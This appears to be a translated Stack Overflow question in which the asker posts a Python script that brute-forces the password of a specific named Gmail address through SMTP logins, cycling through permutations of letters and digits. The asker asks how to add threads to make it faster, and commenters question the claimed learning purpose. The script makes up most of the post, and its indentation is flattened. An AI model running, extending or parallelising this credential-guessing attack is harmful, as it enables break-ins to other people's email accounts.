【发布时间】:2012-06-18 21:30:43
【问题描述】:
我花了很多时间为 gmail 制作这个暴力破解程序:
import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
for i in permutations(allC, num):
try :
i="".join(i)
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login('raslav.milutinovic@gmail.com',i)
print str(datetime.now())
print i
break
server.close()
except Exception,e:
if 'Errno 11001' in e:
input()
pass
sumt=sumt+1.00001
procent=sumt/allP*100
print "Level :",num
print "Procent :",int(procent)
num=num+1
procent=0
sumt=0
allP=len(allC)**num
注意:缩进可能不正确 但它非常慢=每小时 5000 次尝试
我怎样才能使用线程来测试更多而不是一个等时间? 而且我也不打算用它来作恶...... 只是一个简单的学习项目
【问题讨论】:
-
Gmail 不会让你每小时尝试超过 5000 次(我很惊讶他们甚至允许 这个 率)。
-
大声笑:“缩进可能不正确”如何让它们正确而不是让我们猜测您的代码是什么样的?
-
"...gmail 的暴力破解程序..." "...我不会用它来作恶..." 嗯嗯。
-
@RussellBorogove - 如果你检查一下逻辑,你会感觉更好。
-
@RussellBorogove 哦,停下来
标签: python multithreading performance gmail